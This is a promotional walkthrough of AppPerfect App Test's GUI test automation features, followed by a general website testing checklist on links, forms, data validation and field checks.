Automated GUI Testing is a solution to all the issues raised with Manual GUI Testing. An Automated GUI Testing tool can playback all the recorded set of tasks, compare the results of execution with the expected behavior and report success or failure to the test engineers. Once the GUI tests are created they can easily be repeated for multiple number of times with different data sets and can be extended to cover additional features at a later time.

Most of the software organizations consider GUI Testing as critical to their functional testing process and there are many things which should be considered before selecting an Automated GUI Testing tool. A company can make great strides using functional test automation. The important benefits include, higher test coverage levels, greater reliability, shorted test cycles, ability to do multi user testing at no extra cost, all resulting in increased levels of confidence in the software.


GUI Testing with AppPerfect

AppPerfect offers GUI Testing solution in form of AppPerfect App Test. AppPerfect App Test is found to be most affordable, cost effective, efficient, reliable and accurate solution by its customers. We will now try to understand how you can successfully implement GUI Testing for your desktop application using AppPerfect App Test :

Designing Test Scripts for GUI Testing :

One of the most important aspect in successfully implementing GUI Testing is designing the test cases. Before recording your test scripts you should be ready with the Test Plan for same. You should have the list of modules documented which you would like to test in your application. Once you have figured out the modules to test, pick each module and list down the features to test for that module, Once you have identified the features, design test cases for each of the feature to test. For each of the test case, define the data set with which you will like to parameterize your test case. Also define the validations you will like to perform for your test case.
Once you are ready with the test plan, you can start creating Test Scripts for each of the identified modules.

  1. Creating new project is an easy one step process. Just start AppPerfect App Test product and select File -> New.. menu option to create a New GUI Testing project. For details on New Project creation refer to Creating a New Project chapter. For details on configuring project properties refer to Setting Project Properties chapter.
  2. You can now start creating New Groups for each of the feature you have identified in the current module under test. To create a new Group just select Project Node in the Editor tree, and right click and select the option Add Group… from the popup menu. Provide descriptive name for the group clearly stating what feature this group is going to implement.
  3. AppPerfect supports two kinds of Groups. For Java Applications you can create Java Type Group and for Windows/desktop GUI application you need to create Windows Group. In case of Windows Application Group you need to provide with executable path for your application. In case of Java Group you need to provide Main class, classpath and other environment settings required to start the Java application.
  4. This way you can functionally structure your test scripts where each test project will represent one functional module for your application and each Group in the Test Project will represent one test case or feature in the module to test. Properly structuring and designing test scripts early in testing cycle will help maintenance process easy over longer run. Properly designing and grouping test cases in different groups will help increase re-usability of groups across different test scripts. In case some of the actions are common and are required to be processed in new test scripts, you can just link or import already existing groups instead of re-recording them all over again in new scripts. For details on Linking / Importing Groups refer to Link Projects chapter.

    GUI Testing : Designing Test Scripts

Easy-to-use Test Recorder helps Automating Tests instantly :

AppPerfect’s GUI Testing tool does not require programming or scripting skills and allows even non-technical and inexperienced testers start automating tests instantly. We provide easy to use Test Recorder which records each event or action as you interact with your application.

  1. To start recording test just select the Project -> Record Test… menu option. This will launch the Test Recording dialog. select the Group in which you need to record.
  2. Click on Start Recording button and you are ready to record your test. Test Recorder will take care of launching your application and you are all set to record your test case. Just do the actions you intend to record and Test Recorder will capture all the actions you perform on your Windows or Java application. For details on Test Recording refer to Recording a App Test chapter.

    GUI Testing : Recording Test Scripts

  3. Once you are done recording, you can browse though the recorded test in Editor view. AppPerfect’s Test Recorder takes care of recording all the steps you performed on your application along with all the windows and images in your desktop application. The recorded test script is object-based, making GUI Testing stable and increases the usability of recorded scripts as your target application evolves / changes. Application simulates recorded actions by finding the elements based on recorded attributes of the element like window’s class, name, text etc. rather than using screen-coordinates. The actual user actions are simulated using Low-level keypress and mouse events.

    GUI Testing : Test Editor

Component Validation support :

AppPerfect’s GUI Testing tool provide extensive support for validations. Once you are done recording, you can edit your Test cases to perform required Validations. You can add validation for any UI component in recorded test. Select the Validations node in the Project Editor and on right hand side you will find a button to Add Validation…. Click on that and it will launch a wizard to add validation. You can select the required component in Test for which you need to add validation. You can validate the properties of the UI component, like text, value, position. caption, width, height etc.

GUI Testing : Validations

Extensive support for Parameterization :

Most common requirement in GUI Testing is to perform same set of steps with different input parameters and see if the results are desirable. AppPerfect’s GUI Testing solution supports extensive support for test parameterization, wherein you can run same script over and over again with different data set each time. AppPerfect offers extensive parameter-management. Parameter selection and testing with various parameter values is completely automated. Parameter values are passed either via the event arguments or component attributes. Parameters are stored as name-value pairs, making it intuitive for application developers and testers. Then, depending on the number of iterations for your project, multiple parameter values can be tested, with options to select parameters sequentially or randomly. For more details on Test Parameterization refer to Parameters chapter.

  1. Select the Parameters Node in the Editor tree and on right hand side you will find button to add a New Test Parameter for your test. This will launch the Parameterization wizard which will help you creating and associating data source in your test. You can choose data source to be Fixed pool of values, Database, records in CSV file or can derive it from calculated values.

    GUI Testing : Test Parameterization

  2. As last step of Parameter Creation Wizard, you can associate Test Parameter with attributes/properties of recorded element or can also associate parameter with arguments in event apis. Say for example in case you need to run test with different input values for set/type events, then you can parameterize the “text” argument for that particular event in this case.

    GUI Testing : Parameter Association

Test Execution with detailed Result Analysis :

Once the test is completely designed you can execute it to functional test your application over and over again as your application evolves to check for any regression or discrepancy in the application since test was recorded. AppPerfect generates extensive reports for each execution step in your test. To replay the test select the Project -> Run..menu option. AppPerfect will launch the application and will start replaying each of the step in your test in automated manner. At the end of test execution you can view the detailed results of each of the execution step and export them to HTML, PDF etc. formats. In case of failure, you can pass on these exported reports to your development team for further analysis. For more details on Test Execution and Results refer to Running a App Test chapter.

Load test tool

GUI Testing can Run Unattended in Automated Manner:

With AppPerfect’s GUI Testing solution you can run complex and lengthy tests unattended. Tests can be scheduled to run overnight and engineers can analyze the results of execution next morning. As a result you save time and improve efficiency and can concentrate on other important tasks while scheduled tests run in background. To schedule tests you require AppPerfect Test Manager product. Once you have Test Manager installed you need to first configure App Test to enable connection to Test Manager server. To configure the Test Manager connection select Tools -> Options -> Server Connections -> Test Manager Settings and provide the host:port information for the machine where Test Manager is installed. Once you have connection configured you can save the App Test Project to Test Manager using File -> Export to Test Manager menu option. Once test is saved to Test Manager you can schedule Test Execution using Tools -> Schedule Project menu option.

Test Scheduler

For details on creating and executing Test Schedules using Test Manager Web-UI refer to Schedules chapter.

Distributed GUI Testing :

AppPerfect’s GUI Testing solution allows you to distribute your test over multiple machines to simulate real-world conditions while testing network applications, client-server and other multi-tier applications. Testers can easily configure the list of machines on which Test Script should be executed. GUI Testing results from all machines are accumulated into a single report for easier analysis. To configure execution of functional test on multiple machines select Project > Properties menu option. It will launch the Project Properties wizard. Select the “Distributed Testing” step where you can configure to run Test script simultaneously on multiple machines. Distributed testing is performed using App Test service running on the remote machines. Hence, you need to have AppPerfect App Test installed on all the machines where you desire to execute the test. App Test uses HTTP protocol to connect to App Test service on remote machine. To connect to this service, you need to select Protocol (Default is http), provide Host name or IP address of the remote machine, port on which service is listening (Default is 8894) and Context Path (Default is AppService). Normally, you will need to specify only the host name or IP address of remote machine and other fields will take only the default values.

GUI Testing with Team Sharing Support:

Test Engineers can share the Functional test scripts and results with different members in the team. Functional Scripts can be shared with developers which they can use to run after every source change to check for any regression. AppPerfect supports integration with Subversion (SVN) version control system. For details on integration with Subversion server refer to Team Server Configuration chapter.

IDE Integration Support:

IDE Integration is a highly useful feature in AppPerfect products. Once product is integrated in IDE you can start IDE and can execute GUI Testing of your Projects from within IDE. You can integrate AppPerfect applications with Eclipse, IBM Rational Application Developer (RAD), NetBeans, IntelliJ Idea, JBuilder, Oracle JDeveloper and BEA Workshop studio.
Select Tools -> IDE Integration menu option to integrate with any of the supported IDEs. For details on integration with IDE refer to IDE Integration chapter.

IDE Integration

Integrate GUI Testing with your Daily Build Process with ANT Script and Command line Support:

AppPerfect supports integration with build process smoothly. You just need to export Functional Test project as ANT Script or Command Line script and then you can execute these exported scripts from your build process. This way you can ensure that each build is functionally tested before final deployment. To Export project as Ant Script select Tools -> Export Project as ANT Script… menu option. For details on ANT script execution refer to ANT Script Execution chapter.

Ant Script Export

Conclusion :

Its practically impossible for a human tester to repetitively cover all the test cases with same amount of accuracy over and over again. AppPerfect’s GUI Testing Solution has ability to perform complex set of tasks repetitively with same amount of accuracy every time which makes it both cost effective and reliable solution for GUI Testing.
Once a test case is recorded it can be played back multiple times with different data sets. Its possible to validate output with different data inputs using the same test case by parameterizing the user input. Moreover tests once recorded can be reused and extended to cover more features and test cases as your application evolves,
AppPerfect App Test is found to be most affordable, cost effective, efficient, reliable and accurate GUI Testing solution by its customers. In case you have not yet tried AppPerfect App Test, Download Now and give it a try today.


Website Testing Checklist

Website Testing Checklist

1.1  LINKS

1.1.1 Check that the link takes you to the page it said it would.
1.1.2 Ensure to have no orphan pages (a page that has no links to it)
1.1.3 Check all of your links to other websites
1.1.4 Are all referenced web sites or email addresses hyperlinked?
1.1.5 If we have removed some of the pages from our own site, set up a custom 404 page that redirects your visitors to your home page (or a search page) when the user try to access a page that no longer exists.
1.1.6 Check all mailto links and whether it reaches properly

1.2 FORMS

1.2.1 Acceptance of invalid input
1.2.2 Optional versus mandatory fields
1.2.3 Input longer than field allows
1.2.4 Radio buttons
1.2.5 Default values on page load/reload(Also terms and conditions should be disabled)
1.2.6 Is Command Button can be used for HyperLinks and Continue Links ?
1.2.6 Is all the datas inside combo/list box are arranged in chronolgical order?
1.2.7 Are all of the parts of a table or form present? Correctly laid out? Can you confirm that selected texts are in the “right place?
1.2.8 Does a scrollbar appear if required?

1.3  DATA VERIFICATION AND VALIDATION

1.3.1 Is the Privacy Policy clearly defined and available for user access?
1.3.2 At no point of time the system should behave awkwardly when an invalid data is fed
1.3.3 Check to see what happens if a user deletes cookies while in site
1.3.4 Check to see what happens if a user deletes cookies after visiting a site
2. APPLICATION SPECIFIC FUNCTIONAL REQUIREMENTS

2.1 DATA INTEGRATION

2.1.1 Check the maximum field lengths to ensure that there are no truncated characters?
2.1.2 If numeric fields accept negative values can these be stored correctly on the database and does it make sense for the field to accept negative numbers?
2.1.3 If a particular set of data is saved to the database check that each value gets saved fully to the database. (i.e.) Beware of truncation (of strings) and rounding of numeric values.

2.2 DATE FIELD CHECKS

2.2.1 Assure that leap years are validated correctly & do not cause errors/miscalculations.
2.2.2 Assure that Feb. 28, 29, 30 are validated correctly & do not cause errors/ miscalculations.
2.2.3 Is copyright for all the sites includes Yahoo co-branded sites are updated

2.3 NUMERIC FIELDS

2.3.1 Assure that lowest and highest values are handled correctly.
2.3.2 Assure that numeric fields with a blank in position 1 are processed or reported as an error.
2.3.3 Assure that fields with a blank in the last position are processed or reported as an error an error.
2.3.4 Assure that both + and – values are correctly processed.
2.3.5 Assure that division by zero does not occur.
2.3.6 Include value zero in all calculations.
2.3.7 Assure that upper and lower values in ranges are handled correctly. (Using BVA)

2.4 ALPHANUMERIC FIELD CHECKS

2.4.1 Use blank and non-blank data.
2.4.2 Include lowest and highest values.
2.4.3 Include invalid characters & symbols.
2.4.4 Include valid characters.
2.4.5 Include data items with first position blank.
2.4.6 Include data items with last position blank.